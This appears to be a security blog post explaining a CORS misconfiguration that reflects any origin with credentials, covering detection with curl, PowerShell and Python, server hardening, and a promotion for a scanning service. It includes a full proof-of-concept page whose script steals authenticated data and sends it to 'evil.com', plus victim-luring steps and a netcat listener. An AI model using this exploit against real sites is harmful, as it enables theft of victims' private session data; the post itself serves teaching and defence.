Listen to this Post
Introduction
Cross-Origin Resource Sharing (CORS) is a browser-enforced mechanism that controls how web applications from one origin can request resources from another. When misconfigured—such as reflecting any `Origin` header while allowing credentials—an attacker can exfiltrate sensitive, authenticated data from a victim’s active session, turning a seemingly minor oversight into a full data leak.
Learning Objectives
- Recognize dangerous CORS patterns, especially `Access-Control-Allow-Credentials: true` combined with arbitrary origin reflection.
- Build practical proof‑of‑concept (PoC) exploits using `fetch()` and cross‑origin testing workflows.
- Apply mitigation techniques across popular web servers and API gateways to eliminate credential‑bearing CORS flaws.
You Should Know
1. Breaking Down the CORS Flaw: What Happened?
The discovered vulnerability involves an authenticated endpoint that:
- Reflects the incoming `Origin` header verbatim in
Access-Control-Allow-Origin. - Returns
Access-Control-Allow-Credentials: true. - Allows the browser to send cookies (session tokens) with cross‑origin requests.
Step‑by‑step guide to detect this behaviour
Use `curl` to inspect CORS headers from a target endpoint:
Linux / macOS / WSL curl -X GET "https://target.com/api/private-data" \ -H "Origin: https://evil.com" \ -H "Cookie: sessionid=abc123" \ -I Look for: Access-Control-Allow-Origin: https://evil.com Access-Control-Allow-Credentials: true
On Windows (PowerShell):
Invoke-WebRequest -Uri "https://target.com/api/private-data" `
-Headers @{Origin="https://evil.com"} `
-Method Options -UseBasicParsing | Select-Object -ExpandProperty Headers
If both headers appear, the endpoint is vulnerable. Neighbouring endpoints that are secure will either omit `Allow-Credentials` or restrict `Allow-Origin` to a whitelist.
2. The Dangerous Dance of `credentials: “include”`
Modern JavaScript `fetch()` with `credentials: “include”` forces the browser to attach cookies even for cross‑origin requests. Combined with a permissive CORS policy, this creates a one‑click data exfiltration primitive.
Complete PoC HTML (save as `exploit.html` on attacker‑controlled domain, e.g., `https://evil.com`):
<!DOCTYPE html>
<html>
<body>
<script>
fetch('https://target.com/api/private-data', {
method: 'GET',
credentials: 'include', // sends cookies
headers: { 'Content-Type': 'application/json' }
})
.then(res => res.json())
.then(data => {
// Exfiltrate to attacker server
fetch('https://evil.com/steal?data=' + btoa(JSON.stringify(data)));
});
</script>
</body>
</html>
When a victim logged into `target.com` visits evil.com, the script runs, reads the JSON response, and sends it to the attacker.
What this does: It automates cross‑origin data theft without any user interaction beyond visiting a malicious link.
3. Hands‑On: Detecting CORS Misconfigurations (Linux / Windows)
Using Browser Dev Tools
1. Open Developer Tools (F12) → Network tab.
2. Trigger a request to the authenticated endpoint.
- Inspect the response headers for `Access-Control-Allow-Origin` and
Access-Control-Allow-Credentials. - Modify the `Origin` header using an extension like “ModHeader” or Burp Suite to any arbitrary value (e.g., `http://test.com`). If the reflected `Allow-Origin` matches the forged value, the endpoint is vulnerable.
Automated check with Python
import requests
url = "https://target.com/api/private-data"
headers = {"Origin": "https://attacker.com"}
resp = requests.options(url, headers=headers)
allow_origin = resp.headers.get("Access-Control-Allow-Origin")
allow_creds = resp.headers.get("Access-Control-Allow-Credentials")
if allow_origin == "https://attacker.com" and allow_creds == "true":
print("VULNERABLE: CORS misconfiguration detected")
Windows native alternative: Use `cscript` with WinHTTP? Easier to install `curl` for Windows or rely on PowerShell’s `Invoke-WebRequest` as shown earlier.
4. Exploiting the Flaw: A Step‑by‑Step Attack Simulation
Prerequisites: A victim account on target.com, an attacker‑controlled domain (evil.com), and the vulnerable endpoint identified.
- Craft the malicious HTML (as in section 2) and host it on `evil.com` (e.g., using
python -m http.server 80). - Lure the victim – send a link to
https://evil.com/exploit.html` while the victim is logged intotarget.com`. - Victim visits – the browser executes the
fetch(), includes the session cookie, and because the server reflects `evil.com` as allowed, the response is read and exfiltrated. - Attacker collects data – set up a listening endpoint:
nc -lvnp 8080 simple netcat or a PHP script logging POST/GET parameters
Impact: The attacker can retrieve any JSON response from the vulnerable endpoint, potentially including PII, API keys, or internal configuration.
5. Mitigation Strategies: Hardening CORS Policies
Correct configuration (No wildcard, no credential reflection)
- Never use `Access-Control-Allow-Origin: ` with `credentials: true` – browsers reject it anyway.
- Dynamically validate the `Origin` against a strict whitelist.
- Always respond with `Vary: Origin` to prevent cache poisoning.
Examples by web server:
Nginx (whitelist example):
if ($http_origin ~ '^https://(sub1|sub2)\.trusted\.com$') {
add_header 'Access-Control-Allow-Origin' $http_origin;
add_header 'Access-Control-Allow-Credentials' 'true';
}
Apache (using mod_headers and mod_rewrite):
SetEnvIf Origin "^https://(app|api)\.company\.com$" origins_allowed
Header set Access-Control-Allow-Origin %{Origin}e env=origins_allowed
Header set Access-Control-Allow-Credentials true env=origins_allowed
IIS (web.config) – use URL Rewrite module to inspect `Origin` header and conditionally add CORS headers.
API Gateway / CloudFront – configure explicit allowed origins, never use “ or regex that can be abused.
6. Testing CORS on Authenticated Endpoints: Pro Tips
Because neighbouring endpoints may be secure, your testing must include every authenticated endpoint. Steps:
- Spider the application while authenticated (use Burp Suite or OWASP ZAP).
- For each endpoint that returns sensitive data, send an `OPTIONS` or `GET` request with an arbitrary
Origin. - Check for `Access-Control-Allow-Credentials: true` and a reflected `Allow-Origin` matching your test origin.
4. Automate with Burp Intruder or custom script:
Linux – using httpx and grep cat endpoints.txt | httpx -method OPTIONS -H "Origin: https://reflect.me" -sc -silent | grep -B2 "Access-Control-Allow-Credentials: true"
Browser‑only test: Use the console on a logged‑in session:
fetch('https://target.com/api/private', {credentials: 'include'}).then(r => console.log(r.headers.get('access-control-allow-origin')))
If the output equals your current origin (or any arbitrary value), it indicates reflection.
7. xLimit and Continuous Security Testing
The vulnerability described was found by xLimit, a platform that continuously scans for such misconfigurations. Even though it was closed as a duplicate, the finding is valid and reportable. Tools like xLimit automate the detection of CORS flaws across authenticated sessions.
Get started for free: Register at app.xlimit.org. Once registered, you can:
– Provide a target URL with valid credentials.
– Run a CORS‑specific scan that tests all discovered endpoints for origin reflection + credential inclusion.
– Receive structured reports with PoC code.
Example xLimit workflow:
1. Create a new project.
2. Enter the authenticated endpoint base URL.
- Upload session cookies (or configure a login sequence).
4. Launch the CORS Misconfiguration test module.
- Review findings – xLimit will generate HTML PoCs similar to the one shown earlier.
What Undercode Say
- Key Takeaway 1: CORS misconfigurations are not just a theoretical risk – on authenticated endpoints they lead to direct session data exfiltration. The “duplicate” bug status does not reduce its severity.
- Key Takeaway 2: Selective misconfigurations (some endpoints vulnerable, neighbours secure) are common. Never trust a “global” CORS policy; test every single endpoint in its real authenticated context.
- Analysis: The root cause is often copy‑pasted CORS boilerplate or a partial fix that leaves old endpoints exposed. Developers must adopt automated testing that mimics a real attacker’s workflow – including arbitrary `Origin` injection and credential bearing requests. Tools like xLimit bridge this gap, but manual verification remains essential. As APIs become more distributed, CORS will stay a top‑five web vulnerability unless organizations enforce strict origin whitelisting and regular red team exercises.
Prediction
In the next 12–18 months, we will see a rise in automated CORS scanning becoming a standard part of CI/CD pipelines. Concurrently, browser vendors may introduce more restrictive defaults (e.g., treating credentialed cross‑origin requests as opaque unless explicit permission is granted via a new directive). Attackers will shift focus to misconfigurations in microservice mesh sidecars and serverless functions, where CORS headers are often added by infrastructure code rather than application logic. The “silent duplicate” – a valid finding that gets ignored because it only affects a single endpoint – will become a preferred initial access vector for API‑first organisations.
▶️ Related Video (74% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Rycron W1j0y – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
